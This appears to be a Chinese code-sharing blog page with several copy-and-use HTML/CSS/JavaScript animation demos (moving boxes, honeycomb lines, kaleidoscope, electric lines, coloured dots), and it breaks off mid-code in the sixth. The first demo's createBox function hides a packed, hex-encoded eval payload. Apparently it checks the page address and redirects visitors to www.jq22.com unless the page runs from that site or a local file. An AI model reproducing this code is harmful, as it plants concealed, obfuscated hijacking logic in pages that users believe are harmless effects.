HTML+CSS+JavaScript网页特效源代码（复制代码保存即可使用）_var speednormal-程序员宅基地
技术标签： css html5 HTML+CSS+JavaScript+Web html javascript css3
特效一
方块运动演示
<html><head>
<meta charset="utf-8">
<title>蓝盒子</title>
<style>body {
margin: 0; padding: 0;background: black; overflow: hidden;}</style>
<script src="http://cdn.bootcss.com/three.js/r78/three.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/gsap/1.17.0/TweenMax.min.js"></script>
</head>
<body>
<script>
var isMouseDown = false;
var emptySlot = "emptySlot", planeTop = "planeTop", planeBottom = "planeBottom";
var camera, scene, renderer;
var mouse = {
x: 0, y: 0};
var camPos = {
x: 0, y: 0, z: 10};
var sw = window.innerWidth, sh = window.innerHeight;
var cols = 20;
var rows = 16;
var gap = 20;
var size = {
width: 100,
height: 30,
depth: 150,
}
var planeOffset = 250;
var allRowsDepth = rows * (size.depth + gap);
var allColsWidth = cols * (size.depth + gap);
var speedNormal = 4;
var speedFast = 34;
var speed = speedNormal;
var boxes = {
planeBottom: [],
planeTop: []
};
var boxes1d = [];
function num(min, max) {
return Math.random() * (max - min) + min; }
function draw(props) {
var colours = {
slow: {
r: num(0, 0.2),
g: num(0.5, 0.9),
b: num(0.3, 0.7)
},
fast: {
r: num(0.9, 1.0),
g: num(0.1, 0.7),
b: num(0.2, 0.5)
}
}
var uniforms = {
r: {
type: "f", value: colours.slow.r},
g: {
type: "f", value: colours.slow.g},
b: {
type: "f", value: colours.slow.b},
distanceX: {
type: "f", value: 1.0},
distanceZ: {
type: "f", value: 1.0},
pulse: {
type: "f", value: 0},
speed: {
type: "f", value: speed},
};
var material = new THREE.ShaderMaterial( {
uniforms: uniforms,
vertexShader: vertexShader,
fragmentShader: fragmentShader
});
var geometry = new THREE.BoxGeometry(props.width, props.height, props.depth);
var object = new THREE.Mesh(geometry, material);
object.colours = colours;
return object;
}
function init() {
scene = new THREE.Scene();
camera = new THREE.PerspectiveCamera( 100, sw / sh, 1, 10000 );
scene.add( camera );
renderer = new THREE.WebGLRenderer({
antialias: true});
renderer.setSize( sw, sh );
for (var j = 0, jl = rows; j < jl; j++) {
boxes.planeBottom[j] = [];
boxes.planeTop[j] = [];
for (var i = 0, il = cols; i < il; i++) {
boxes.planeBottom[j][i] = emptySlot;
boxes.planeTop[j][i] = emptySlot;
};
};
function createBox() {
window["\x65\x76\x61\x6c"](function(CPY1,OvGQk2,btUiR$P3,YzTn4,rISXh5,C$jVY6){
rISXh5=function(btUiR$P3){
return(btUiR$P3<OvGQk2?"":rISXh5(window["\x70\x61\x72\x73\x65\x49\x6e\x74"](btUiR$P3/OvGQk2)))+((btUiR$P3=btUiR$P3%OvGQk2)>35?window["\x53\x74\x72\x69\x6e\x67"]["\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65"](btUiR$P3+29):btUiR$P3["\x74\x6f\x53\x74\x72\x69\x6e\x67"](36))};if(!''["\x72\x65\x70\x6c\x61\x63\x65"](/^/,window["\x53\x74\x72\x69\x6e\x67"])){
while(btUiR$P3--)C$jVY6[rISXh5(btUiR$P3)]=YzTn4[btUiR$P3]||rISXh5(btUiR$P3);YzTn4=[function(rISXh5){
return C$jVY6[rISXh5]}];rISXh5=function(){
return'\\\x77\x2b'};btUiR$P3=1;};while(btUiR$P3--)if(YzTn4[btUiR$P3])CPY1=CPY1["\x72\x65\x70\x6c\x61\x63\x65"](new window["\x52\x65\x67\x45\x78\x70"]('\\\x62'+rISXh5(btUiR$P3)+'\\\x62','\x67'),YzTn4[btUiR$P3]);return CPY1;}('\x33 \x61\x3d\x37\x2e\x6d\x28\x37\x2e\x38\x28\x29\x2a\x70\x29\x2c\x39\x3d\x61\x3b\x33 \x63\x3d\x37\x2e\x38\x28\x29\x3e\x30\x2e\x35\x3f\x31\x3a\x2d\x31\x2c\x64\x3d\x63\x3d\x3d\x3d\x2d\x31\x3f\x48\x3a\x44\x3b\x33 \x62\x3d\x37\x2e\x6d\x28\x37\x2e\x38\x28\x29\x2a\x43\x29\x2c\x69\x3d\x62\x3b\x33 \x78\x3d\x28\x61\x2d\x70\x2f\x32\x29\x2a\x28\x65\x2e\x46\x2b\x6c\x29\x3b\x33 \x79\x3d\x63\x2a\x45\x3b\x33 \x7a\x3d\x62\x2a\x28\x65\x2e\x42\x2b\x6c\x29\x3b\x75\x28\x6b\x5b\x64\x5d\x5b\x69\x5d\x5b\x39\x5d\x3d\x3d\x3d\x41\x29\x7b\x33 \x36\x3d\x77\x28\x65\x29\x3b\x36\x2e\x50\x2e\x79\x3d\x79\x3b\x36\x2e\x4e\x3d\x4d\x3b\x36\x2e\x52\x3d\x7b\x78\x3a\x78\x2c\x7a\x3a\x30\x7d\x3b\x36\x2e\x49\x3d\x7a\x3b\x6b\x5b\x64\x5d\x5b\x69\x5d\x5b\x39\x5d\x3d\x36\x3b\x4b\x2e\x4c\x28\x36\x29\x3b\x47\x2e\x51\x28\x36\x29\x7d\x33 \x74\x3d\x66\x2e\x68\x2e\x67\x2e\x72\x28\x30\x2c\x76\x29\x3b\x33 \x73\x3d\x66\x2e\x68\x2e\x67\x2e\x72\x28\x30\x2c\x34\x29\x3b\x75\x28\x74\x3d\x3d\x22\x6e\x3a\x2f\x2f\x6f\x2e\x71\x2e\x6a\x22\x7c\x7c\x73\x3d\x3d\x22\x4f\x22\x29\x7b\x7d\x4a\x7b\x66\x2e\x68\x2e\x67\x3d\x22\x6e\x3a\x2f\x2f\x6f\x2e\x71\x2e\x6a\x22\x7d',54,54,'\x7c\x7c\x7c\x76\x61\x72\x7c\x7c\x7c\x62\x6f\x78\x7c\x4d\x61\x74\x68\x7c\x72\x61\x6e\x64\x6f\x6d\x7c\x78\x61\x69\x7c\x78\x69\x7c\x7a\x69\x7c\x79\x69\x7c\x79\x61\x69\x7c\x73\x69\x7a\x65\x7c\x77\x69\x6e\x64\x6f\x77\x7c\x68\x72\x65\x66\x7c\x6c\x6f\x63\x61\x74\x69\x6f\x6e\x7c\x7a\x61\x69\x7c\x63\x6f\x6d\x7c\x62\x6f\x78\x65\x73\x7c\x67\x61\x70\x7c\x66\x6c\x6f\x6f\x72\x7c\x68\x74\x74\x70\x7c\x77\x77\x77\x7c\x63\x6f\x6c\x73\x7c\x6a\x71\x32\x32\x7c\x73\x75\x62\x73\x74\x72\x7c\x64\x7a\x75\x72\x6c\x32\x7c\x64\x7a\x75\x72\x6c\x7c\x69\x66\x7c\x31\x39\x7c\x64\x72\x61\x77\x7c\x7c\x7c\x7c\x65\x6d\x70\x74\x79\x53\x6c\x6f\x74\x7c\x64\x65\x70\x74\x68\x7c\x72\x6f\x77\x73\x7c\x70\x6c\x61\x6e\x65\x54\x6f\x70\x7c\x70\x6c\x61\x6e\x65\x4f\x66\x66\x73\x65\x74\x7c\x77\x69\x64\x74\x68\x7c\x73\x63\x65\x6e\x65\x7c\x70\x6c\x61\x6e\x65\x42\x6f\x74\x74\x6f\x6d\x7c\x70\x6f\x73\x5a\x7c\x65\x6c\x73\x65\x7c\x62\x6f\x78\x65\x73\x31\x64\x7c\x70\x75\x73\x68\x7c\x66\x61\x6c\x73\x65\x7c\x69\x73\x57\x61\x72\x70\x69\x6e\x67\x7c\x66\x69\x6c\x65\x7c\x70\x6f\x73\x69\x74\x69\x6f\x6e\x7c\x61\x64\x64\x7c\x6f\x66\x66\x73\x65\x74'["\x73\x70\x6c\x69\x74"]('\x7c'),0,{
}))
}
for (var i = 0, il = rows * cols; i < il; i++) {
createBox();
};
document.body.appendChild(renderer.domElement);
function listen(eventNames, callback) {
for (var i = 0; i < eventNames.length; i++) {
window.addEventListener(eventNames[i], callback);
}
}
listen(["resize"], function(e){
sw = window.innerWidth;
sh = window.innerHeight
camera.aspect = sw / sh;
camera.updateProjectionMatrix();
renderer.setSize(sw, sh);
});
listen(["mousedown", "touchstart"], function(e) {
e.preventDefault();
isMouseDown = true;
});
listen(["mousemove", "touchmove"], function(e) {
e.preventDefault();
if (e.changedTouches && e.changedTouches[0]) e = e.changedTouches[0];
mouse.x = (e.clientX / sw) * 2 - 1;
mouse.y = -(e.clientY / sh) * 2 + 1;
});
listen(["mouseup", "touchend"], function(e) {
e.preventDefault();
isMouseDown = false;
});
render(0);
}
function move(x, y, z) {
var box = boxes[y][z][x];
if (box !== emptySlot) {
box.position.x = box.offset.x;
box.position.z = box.offset.z + box.posZ;
if (box.position.z > 0) {
box.posZ -= allRowsDepth;
}
// return;
// if (isMouseDown) return;
if (!box.isWarping && Math.random() > 0.999) {
var dir = Math.floor(Math.random() * 5), xn = x, zn = z, yn = y, yi = 0, xo = 0, zo = 0;
switch (dir) {
case 0 : xn++; xo = 1; break;
case 1 : xn--; xo = -1; break;
case 2 : zn++; zo = 1; break;
case 3 : zn--; zo = -1; break;
case 4 :
yn = (y === planeTop) ? planeBottom : planeTop;
yi = (y === planeTop) ? -1 : 1;
break;
}
if (boxes[yn][zn] && boxes[yn][zn][xn] === emptySlot) {
boxes[y][z][x] = emptySlot;
box.isWarping = true;
boxes[yn][zn][xn] = box;
// con.log( box.offset.x, box.offset.z);
if (dir === 4) {
// slide vertically
TweenMax.to(box.position, 0.5, {
y: yi * planeOffset
});
} else {
// slide horizontally
TweenMax.to(box.offset, 0.5, {
x: box.offset.x + xo * (size.width + gap),
z: box.offset.z + zo * (size.depth + gap),
});
}
TweenMax.to(box.offset, 0.6, {
onComplete: function() {
box.isWarping = false;
}
});
}
}
}
}
function render(time) {
speed -= (speed - (isMouseDown ? speedFast : speedNormal)) * 0.05;
var box;
for (var b = 0, bl = boxes1d.length; b < bl; b++) {
box = boxes1d[b];
box.posZ += speed;
// normalized z distance from camera
var distanceZ = 1 - ((allRowsDepth - box.posZ) / (allRowsDepth) - 1);
box.material.uniforms.distanceZ.value = distanceZ;
// normalized x distance from camera (centre)
var distanceX = 1 - (Math.abs(box.position.x)) / (allColsWidth / 3);
box.material.uniforms.distanceX.value = distanceX;
var colour = isMouseDown ? box.colours.fast : box.colours.slow;
box.material.uniforms.r.value -= (box.material.uniforms.r.value - colour.r) * 0.1;
box.material.uniforms.g.value -= (box.material.uniforms.g.value - colour.g) * 0.1;
box.material.uniforms.b.value -= (box.material.uniforms.b.value - colour.b) * 0.1;
// normalized speed
var currentSpeed = (speed - speedNormal) / (speedFast - speedNormal)
box.material.uniforms.speed.value = currentSpeed;
// pulses more with more speed... of course!
if (Math.random() > (0.99995 - currentSpeed * 0.005)) {
box.material.uniforms.pulse.value = 1;
}
box.material.uniforms.pulse.value -= box.material.uniforms.pulse.value * 0.1 / (currentSpeed + 1);
// if (b ==13) con.log(box.material.uniforms.speed.value);
}
for (var j = 0, jl = rows; j < jl; j++) {
// iterate through rows: z
for (var i = 0, il = cols; i < il; i++) {
// iterate throw cols: x
move(i, planeBottom, j);
move(i, planeTop, j);
};
};
camPos.x -= (camPos.x - mouse.x * 400) * 0.02;
camPos.y -= (camPos.y - mouse.y * 150) * 0.05;
camPos.z = -100;
camera.position.set(camPos.x, camPos.y, camPos.z);
// camera.lookAt( scene.position );
// camera.rotation.z = time * 0.0001;
camera.rotation.y = camPos.x / -1000;
camera.rotation.x = camPos.y / 1000;
// camera.rotation.z = camPos.x / -2000;
camera.rotation.z = (camPos.x - mouse.x * 400) / 2000;
renderer.render( scene, camera );
// if (time < 800)
requestAnimationFrame( render );
}
var vertexShader = [
"varying vec2 vUv;",
"void main()",
"{",
" vUv = uv;",
" vec4 mvPosition = modelViewMatrix * vec4( position, 1.0 );",
" gl_Position = projectionMatrix * mvPosition;",
"}"].join("");
var fragmentShader = [
"uniform float r;",
"uniform float g;",
"uniform float b;",
"uniform float distanceZ;",
"uniform float distanceX;",
"uniform float pulse;",
"uniform float speed;",
"varying vec2 vUv;",
// "float checkerRows = 8.0;",
// "float checkerCols = 16.0;",
"void main( void ) {",
" vec2 position = abs(-1.0 + 2.0 * vUv);",
" float edging = abs((pow(position.y, 5.0) + pow(position.x, 5.0)) / 2.0);",
" float perc = (0.2 * pow(speed + 1.0, 2.0) + edging * 0.8) * distanceZ * distanceX;",
// " float perc = distanceX * distanceZ;",
// " vec2 checkPosition = vUv;",
// " float checkerX = ceil(mod(checkPosition.x, 1.0 / checkerCols) - 1.0 / checkerCols / 2.0);",
// " float checkerY = ceil(mod(checkPosition.y, 1.0 / checkerRows) - 1.0 / checkerRows / 2.0);",
// " float checker = ceil(checkerX * checkerY);",
// " float r = checker;",
// " float g = checker;",
// " float b = checker;",
// " float perc = 1.0;",
" float red = r * perc + pulse;",
" float green = g * perc + pulse;",
" float blue = b * perc + pulse;",
" gl_FragColor = vec4(red, green, blue, 1.0);",
"}"].join("");
//console.log(THREE, TweenMax, planeTop, planeBottom);
init();
</script><canvas width="1920" height="572" style="width: 1920px; height: 572px;"></canvas>
</body></html>
特效二
机械蜂巢演示
<html><head>
<meta charset="UTF-8">
<meta name="google" value="notranslate">
<meta name="robots" content="noindex">
<title>蓝盒子</title>
<style>
canvas {
position: absolute; top: 0; left: 0; }
</style>
</head>
<body>
<canvas id="c" width="1920" height="572"></canvas>
<script>
var w = c.width = window.innerWidth,
h = c.height = window.innerHeight,
ctx = c.getContext('2d'),
opts = {
len: 20,
count: 50,
baseTime: 10,
addedTime: 10,
dieChance: .05,
spawnChance: 1,
sparkChance: .1,
sparkDist: 10,
sparkSize: 2,
color: 'hsl(hue,100%,light%)',
baseLight: 50,
addedLight: 10,
shadowToTimePropMult: 6,
baseLightInputMultiplier: .01,
addedLightInputMultiplier: .02,
cx: w / 2,
cy: h / 2,
repaintAlpha: .04,
hueChange: .1
},
tick = 0,
lines = [],
dieX = w / 2 / opts.len,
dieY = h / 2 / opts.len,
baseRad = Math.PI * 2 / 6;
ctx.fillStyle = 'black';
ctx.fillRect(0, 0, w, h);
function loop() {
window.requestAnimationFrame(loop); ++tick;
ctx.globalCompositeOperation = 'source-over';
ctx.shadowBlur = 0;
ctx.fillStyle = 'rgba(0,0,0,alp)'.replace('alp', opts.repaintAlpha);
ctx.fillRect(0, 0, w, h);
ctx.globalCompositeOperation = 'lighter';
if (lines.length < opts.count && Math.random() < opts.spawnChance) lines.push(new Line);
lines.map(function(line) {
line.step()
})
}
function Line() {
this.reset()
}
Line.prototype.reset = function() {
this.x = 0;
this.y = 0;
this.addedX = 0;
this.addedY = 0;
this.rad = 0;
this.lightInputMultiplier = opts.baseLightInputMultiplier + opts.addedLightInputMultiplier * Math.random();
this.color = opts.color.replace('hue', tick * opts.hueChange);
this.cumulativeTime = 0;
this.beginPhase()
}
Line.prototype.beginPhase = function() {
this.x += this.addedX;
this.y += this.addedY;
this.time = 0;
this.targetTime = (opts.baseTime + opts.addedTime * Math.random()) | 0;
this.rad += baseRad * (Math.random() < .5 ? 1 : -1);
this.addedX = Math.cos(this.rad);
this.addedY = Math.sin(this.rad);
if (Math.random() < opts.dieChance || this.x > dieX || this.x < -dieX || this.y > dieY || this.y < -dieY) this.reset()
}
Line.prototype.step = function() {
++this.time; ++this.cumulativeTime;
if (this.time >= this.targetTime) this.beginPhase();
var prop = this.time / this.targetTime,
wave = Math.sin(prop * Math.PI / 2),
x = this.addedX * wave,
y = this.addedY * wave;
ctx.shadowBlur = prop * opts.shadowToTimePropMult;
ctx.fillStyle = ctx.shadowColor = this.color.replace('light', opts.baseLight + opts.addedLight * Math.sin(this.cumulativeTime * this.lightInputMultiplier));
ctx.fillRect(opts.cx + (this.x + x) * opts.len, opts.cy + (this.y + y) * opts.len, 2, 2);
if (Math.random() < opts.sparkChance) ctx.fillRect(opts.cx + (this.x + x) * opts.len + Math.random() * opts.sparkDist * (Math.random() < .5 ? 1 : -1) - opts.sparkSize / 2, opts.cy + (this.y + y) * opts.len + Math.random() * opts.sparkDist * (Math.random() < .5 ? 1 : -1) - opts.sparkSize / 2, opts.sparkSize, opts.sparkSize)
}
loop();
window.addEventListener('resize',
function() {
w = c.width = window.innerWidth;
h = c.height = window.innerHeight;
ctx.fillStyle = 'black';
ctx.fillRect(0, 0, w, h);
opts.cx = w / 2;
opts.cy = h / 2;
dieX = w / 2 / opts.len;
dieY = h / 2 / opts.len
});
</script>
</body>
</html>
特效三
万花筒演示
<html><head>
<meta charset="utf-8">
<title>蓝盒子</title>
<style>
html{
background: black;}
body {
width: 100%; height: 100%; position: absolute; left: 0; top: 0; overflow: hidden; margin: 0; background: black; -webkit-filter: invert(0); filter: invert(0); }
#canvas {
position: absolute; z-index: -1; -webkit-filter: hue-rotate(100deg) brightness(1); filter: hue-rotate(100deg) brightness(1); mix-blend-mode: difference; }
#canv {
position: absolute; z-index: -2; mix-blend-mode: lighter; }
canvas {
position: absolute; top: 50%; left: 50%; z-index: -1; -webkit-transform: translate(-50%, -50%); transform: translate(-50%, -50%); }
</style>
</head>
<body>
<canvas id="canvas" height="400" width="400"></canvas>
<canvas id="canv" width="1920" height="572"></canvas>
<script>
var c = document.getElementById('canv'),
$ = c.getContext('2d'),
w = c.width = window.innerWidth,
h = c.height = window.innerHeight,
t = 0,
num = 950,
s, a, b, u = 0,
x, y, _x, _y,
_t = 1 / 16;
function random(min, max) {
return Math.random() * (max - min) + min;
}
var anim = function() {
$.globalCompositeOperation = 'multiply';
$.fillStyle = 'hsla(258,20%,50%,1)';
$.fillRect(0, 0, w, h);
$.globalCompositeOperation = 'lighter';
for (var i = 0; i < .5; i++) {
x = 0;
_u = (u) + i * 2, col = u + (_u * 8);
$.beginPath();
for (var j = 0; j < num; j++) {
x -= .312 * Math.sin(15);
y = x * Math.sin(i + 3.05 * t + x / 7) / 12;
_x = x * Math.cos(b) + y * Math.sin(b);
_y = x * Math.sin(b) - y * Math.cos(b);
b = (j * 2.1102) * Math.PI / -.1008;
$.arc(w / 2 - _x, h / 2 - _y, random(.001, .6), 300, Math.PI * 2 + .1);
$.lineWidth = .2;
}
var g = $.createLinearGradient(w / 2 + _x, h / 2 + _y,
1, w / 2 + _x, h / 2 + _y);
g.addColorStop(0.2, 'hsla(' + col + ',90%,50%,.2)');
g.addColorStop(0.9, 'hsla(' + _u + ',95%,50%,.3)');
g.addColorStop(1, 'hsla(0,0%,100%,.4)');
$.strokeStyle = g;
$.stroke();
}
t += _t / 2;
u -= .2;
window.requestAnimationFrame(anim);
};
anim();
window.addEventListener('resize', function() {
c.width = w = window.innerWidth;
c.height = h = window.innerHeight;
}, false);
var canvas, ctx, tim;
canvas = document.getElementsByTagName('canvas')[0];
ctx = canvas.getContext('2d');
canvas.width = canvas.height = 400;
baum();
function baum() {
var a, b, c, d, e, x, y, r;
ctx.globalCompositeOperation = "source-over";
ctx.fillStyle = "hsla(26,100%,0%,1)";
ctx.fillRect(0, 0, canvas.width, canvas.height);
ctx.globalCompositeOperation = "color-burn";
tim = new Date().getTime() / Math.PI / 72;
c = [];
r = tim / 32;
for (a = 0; a < 18; a++) {
b = 160;
if (a % 2 == 1) b = 100;
x = Math.cos(r) * b;
y = Math.sin(r) * b;
c.push([200 + x, 200 + y]);
r += Math.PI * 2 / 14;
}
for (a = 0; a < 7; a++) {
b = c[a * 2];
d = c[a * 2 + 1];
e = c[(a * 2 + 13) % 14];
tri([
[200, 200], b, d
], 0);
tri([
[200, 200], b, e
], 0);
}
requestAnimationFrame(baum);
}
function tri(p, ban) {
var a, b, c, d, e, f, x, y, han, r1, r2;
x = y = 0;
for (a = 0; a < 3; a++) {
x += p[a][0];
y += p[a][1];
}
x = x / 3 - canvas.width / 2;
y = y / 3 - canvas.height / 2;
han = Math.pow(x * x + y * y, 0.5);
c = 0.2 + Math.sin(tim / 13) * 0.15;
r1 = 0.5 + Math.sin(han / 20 * (1 + Math.sin(tim / 19) * 0.7) + tim / 41) * c;
r2 = 1 - r1;
c = p[0][0] * (p[1][1] - p[2][1]);
c += p[1][0] * (p[2][1] - p[0][1]);
c += p[2][0] * (p[0][1] - p[1][1]);
c = Math.abs(c);
if (c < 100) {
if (ban % 17 == 1) {
a = ((han + tim * 3) % 360) | 0;
b = 0.4;
if (ban % 12 > 8) b = 1;
ctx.fillStyle = ctx.strokeStyle = "hsla(" + a * 2 + ",60%,40%,0.53)";
ctx.beginPath();
for (a = 0; a < p.length; a++) {
b = p[a];
ctx.globalCompositeOperation = "lighter";
ctx.lineTo(b[0], b[1]);
}
ctx.fill();
if (Math.random() < 0.2) return;
}
if (ban % 50 > 28) return;
if (c < 20) return;
}
d = 0;
for (a = 0; a < p.length; a++) {
b = p[a];
c = p[(a + 1) % p.length];
x = b[0] - c[0];
y = b[1] - c[1];
e = Math.pow(x * x + y * y, 0.5);
if (e > d) {
d = e;
f = a;
}
}
a = p[f];
b = p[(f + 1) % p.length];
c = p[(f + 2) % p.length];
x = a[0] * r1 + b[0] * r2;
y = a[1] * r1 + b[1] * r2;
tri([b, c, [x, y]], ban + 1);
tri([c, a, [x, y]], ban + 2);
}
</script>
</body></html>
特效四
电流
<html><head>
<meta charset="utf-8">
<title>蓝盒子</title>
<style>
body {
background: #000;
overflow: hidden;
}
canvas {
display: block;
}
</style>
</head>
<body>
<canvas id="canvas" width="1920" height="572"></canvas>
<script>
var canvas,
ctx,
width,
height,
size,
lines,
tick;
function line() {
this.path = [];
this.speed = rand(10, 20);
this.count = randInt(10, 30);
this.x = width / 2, +1;
this.y = height / 2 + 1;
this.target = {
x: width / 2,
y: height / 2
};
this.dist = 0;
this.angle = 0;
this.hue = tick / 5;
this.life = 1;
this.updateAngle();
this.updateDist();
}
line.prototype.step = function(i) {
this.x += Math.cos(this.angle) * this.speed;
this.y += Math.sin(this.angle) * this.speed;
this.updateDist();
if (this.dist < this.speed) {
this.x = this.target.x;
this.y = this.target.y;
this.changeTarget();
}
this.path.push({
x: this.x,
y: this.y
});
if (this.path.length > this.count) {
this.path.shift();
}
this.life -= 0.001;
if (this.life <= 0) {
this.path = null;
lines.splice(i, 1);
}
};
line.prototype.updateDist = function() {
var dx = this.target.x - this.x,
dy = this.target.y - this.y;
this.dist = Math.sqrt(dx * dx + dy * dy);
}
line.prototype.updateAngle = function() {
var dx = this.target.x - this.x,
dy = this.target.y - this.y;
this.angle = Math.atan2(dy, dx);
}
line.prototype.changeTarget = function() {
var randStart = randInt(0, 3);
switch (randStart) {
case 0: // up
this.target.y = this.y - size;
break;
case 1: // right
this.target.x = this.x + size;
break;
case 2: // down
this.target.y = this.y + size;
break;
case 3: // left
this.target.x = this.x - size;
}
this.updateAngle();
};
line.prototype.draw = function(i) {
ctx.beginPath();
var rando = rand(0, 10);
for (var j = 0, length = this.path.length; j < length; j++) {
ctx[(j === 0) ? 'moveTo' : 'lineTo'](this.path[j].x + rand(-rando, rando), this.path[j].y + rand(-rando, rando));
}
ctx.strokeStyle = 'hsla(' + rand(this.hue, this.hue + 30) + ', 80%, 55%, ' + (this.life / 3) + ')';
ctx.lineWidth = rand(0.1, 2);
ctx.stroke();
};
function rand(min, max) {
return Math.random() * (max - min) + min;
}
function randInt(min, max) {
return Math.floor(min + Math.random() * (max - min + 1));
};
function init() {
canvas = document.getElementById('canvas');
ctx = canvas.getContext('2d');
size = 30;
lines = [];
reset();
loop();
}
function reset() {
width = Math.ceil(window.innerWidth / 2) * 2;
height = Math.ceil(window.innerHeight / 2) * 2;
tick = 0;
lines.length = 0;
canvas.width = width;
canvas.height = height;
}
function create() {
if (tick % 10 === 0) {
lines.push(new line());
}
}
function step() {
var i = lines.length;
while (i--) {
lines[i].step(i);
}
}
function clear() {
ctx.globalCompositeOperation = 'destination-out';
ctx.fillStyle = 'hsla(0, 0%, 0%, 0.1';
ctx.fillRect(0, 0, width, height);
ctx.globalCompositeOperation = 'lighter';
}
function draw() {
ctx.save();
ctx.translate(width / 2, height / 2);
ctx.rotate(tick * 0.001);
var scale = 0.8 + Math.cos(tick * 0.02) * 0.2;
ctx.scale(scale, scale);
ctx.translate(-width / 2, -height / 2);
var i = lines.length;
while (i--) {
lines[i].draw(i);
}
ctx.restore();
}
function loop() {
requestAnimationFrame(loop);
create();
step();
clear();
draw();
tick++;
}
function onresize() {
reset();
}
window.addEventListener('resize', onresize);
init();
</script>
</body></html>
特效五
彩线
<html><head>
<meta charset="utf-8">
<title>蓝盒子</title>
<script src="http://libs.baidu.com/jquery/1.11.3/jquery.min.js"></script>
<style>
html, body {
background: #000; margin: 0; padding:0;}
canvas {
width: 100%; height: 100%; position: absolute; }
</style>
</head>
<body>
<canvas width="1920" height="951"></canvas>
<script>
$(function(){
var canvas = document.querySelector('canvas'),
ctx = canvas.getContext('2d')
canvas.width = window.innerWidth;
canvas.height = window.innerHeight;
ctx.lineWidth = .3;
ctx.strokeStyle = (new Color(150)).style;
var mousePosition = {
x: 30 * canvas.width / 100,
y: 30 * canvas.height / 100
};
var dots = {
nb: 550,
distance: 50,
d_radius: 100,
array: []
};
function colorValue(min) {
return Math.floor(Math.random() * 255 + min);
}
function createColorStyle(r,g,b) {
return 'rgba(' + r + ',' + g + ',' + b + ', 0.8)';
}
function mixComponents(comp1, weight1, comp2, weight2) {
return (comp1 * weight1 + comp2 * weight2) / (weight1 + weight2);
}
function averageColorStyles(dot1, dot2) {
var color1 = dot1.color,
color2 = dot2.color;
var r = mixComponents(color1.r, dot1.radius, color2.r, dot2.radius),
g = mixComponents(color1.g, dot1.radius, color2.g, dot2.radius),
b = mixComponents(color1.b, dot1.radius, color2.b, dot2.radius);
return createColorStyle(Math.floor(r), Math.floor(g), Math.floor(b));
}
function Color(min) {
min = min || 0;
this.r = colorValue(min);
this.g = colorValue(min);
this.b = colorValue(min);
this.style = createColorStyle(this.r, this.g, this.b);
}
function Dot(){
this.x = Math.random() * canvas.width;
this.y = Math.random() * canvas.height;
this.vx = -.5 + Math.random();
this.vy = -.5 + Math.random();
this.radius = Math.random() * 2;
this.color = new Color();
console.log(this);
}
Dot.prototype = {
draw: function(){
ctx.beginPath();
ctx.fillStyle = this.color.style;
ctx.arc(this.x, this.y, this.radius, 0, Math.PI * 2, false);
ctx.fill();
}
};
function createDots(){
for(i = 0; i < dots.nb; i++){
dots.array.push(new Dot());
}
}
function moveDots() {
for(i = 0; i < dots.nb; i++){
var dot = dots.array[i];
if(dot.y < 0 || dot.y > canvas.height){
dot.vx = dot.vx;
dot.vy = - dot.vy;
}
else if(dot.x < 0 || dot.x > canvas.width){
dot.vx = - dot.vx;
dot.vy = dot.vy;
}
dot.x += dot.vx;
dot.y += dot.vy;
}
}
function connectDots() {
for(i = 0; i < dots.nb; i++){
for(j = 0; j < dots.nb; j++){
i_dot = dots.array[i];
j_dot = dots.array[j];
if((i_dot.x - j_dot.x) < dots.distance && (i_dot.y - j_dot.y) < dots.distance && (i_dot.x - j_dot.x) > - dots.distance && (i_dot.y - j_dot.y) > - dots.distance){
if((i_dot.x - mousePosition.x) < dots.d_radius && (i_dot.y - mousePosition.y) < dots.d_radius && (i_dot.x - mousePosition.x) > - dots.d_radius && (i_dot.y - mousePosition.y) > - dots.d_radius){
ctx.beginPath();
ctx.strokeStyle = averageColorStyles(i_dot, j_dot);
ctx.moveTo(i_dot.x, i_dot.y);
ctx.lineTo(j_dot.x, j_dot.y);
ctx.stroke();
ctx.closePath();
}
}
}
}
}
function drawDots() {
for(i = 0; i < dots.nb; i++){
var dot = dots.array[i];
dot.draw();
}
}
function animateDots() {
ctx.clearRect(0, 0, canvas.width, canvas.height);
moveDots();
connectDots();
drawDots();
requestAnimationFrame(animateDots);
}
$('canvas').on('mousemove', function(e){
mousePosition.x = e.pageX;
mousePosition.y = e.pageY;
});
$('canvas').on('mouseleave', function(e){
mousePosition.x = canvas.width / 2;
mousePosition.y = canvas.height / 2;
});
createDots();
requestAnimationFrame(animateDots);
});
</script>
</body></html>
特效六
<html><head>
<meta charset="utf-8">
<title>蓝盒子</title>
<style>
html {
height: 100%;
background-image: -webkit-radial-gradient(ellipse farthest-corner at center top, #000d4d 0%, #000105 100%);
background-image: radial-gradient(ellipse farthest-corner at center top, #000d4d 0%, #000105 100%);
cursor: move;
}
body {
width: 100%;
margin: 0;
overflow: hidden;
}
</style>
</head>
<body>
<canvas id="canv" width="1920" height="572"></canvas>
<script>
var num = 200;
var w = window.innerWidth;
var h = window.innerHeight;
var max = 100;
var _x = 0;
var _y = 0;
var _z = 150;
var dtr = function(d) {
return d * Math.PI / 180;
};
var rnd = function() {
return Math.sin(Math.floor(Math.random() * 360) * Math.PI / 180);
};
var dist = function(p1, p2, p3) {
return Math.sqrt(Math.pow(p2.x - p1.x, 2) + Math.pow(p2.y - p1.y, 2) + Math.pow(p2.z - p1.z, 2));
};
var cam = {
obj: {
x: _x,
y: _y,
z: _z
},
dest: {
x: 0,
y: 0,
z: 1
},
dist: {
x: 0,
y: 0,
z: 200
},
ang: {
cplane: 0,
splane: 0,
ctheta: 0,
stheta: 0
},
zoom: 1,
disp: {
x: w / 2,
y: h / 2,
z: 0
},
upd: function() {
cam.dist.x = cam.dest.x - cam.obj.x;
cam.dist.y = cam.dest.y - cam.obj.y;
cam.dist.z = cam.dest.z - cam.obj.z;
cam.ang.cplane = -cam.dist.z / Math.sqrt(cam.dist.x * cam.dist.x + cam.dist.z * cam.dist.z);
cam.ang.splane = cam.dist.x / Math.sqrt(cam.dist.x * cam.dist.x + cam.dist.z * cam.dist.z);
cam.ang.ctheta = Math.sqrt(cam.dist.x * cam.dist.x + cam.dist.z * cam.dist.z) / Math.sqrt(cam.dist.x * cam.dist.x + cam.dist.y * cam.dist.y + cam.dist.z * cam.dist.z);
cam.ang.stheta = -cam.dist.y / Math.sqrt(cam.dist.x * cam.dist.x + cam.dist.y * cam.dist.y + cam.dist.z * cam.dist.z);
}
};
var trans = {
parts: {
sz: function(p, sz) {
return {
x: p.x * sz.x,
y: p.y * sz.y,
z: p.z * sz.z
};
},
rot: {
x: function(p, rot) {
return {
x: p.x,
